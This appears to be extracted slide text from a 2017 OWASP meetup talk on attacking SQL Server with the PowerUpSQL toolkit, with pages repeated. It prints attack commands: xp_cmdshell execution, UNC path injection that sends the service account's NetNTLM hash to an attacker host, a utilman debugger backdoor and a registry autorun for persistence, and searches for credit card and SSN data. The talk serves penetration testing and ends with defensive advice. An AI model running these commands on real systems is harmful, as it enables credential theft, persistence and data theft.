Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 63: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 64: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
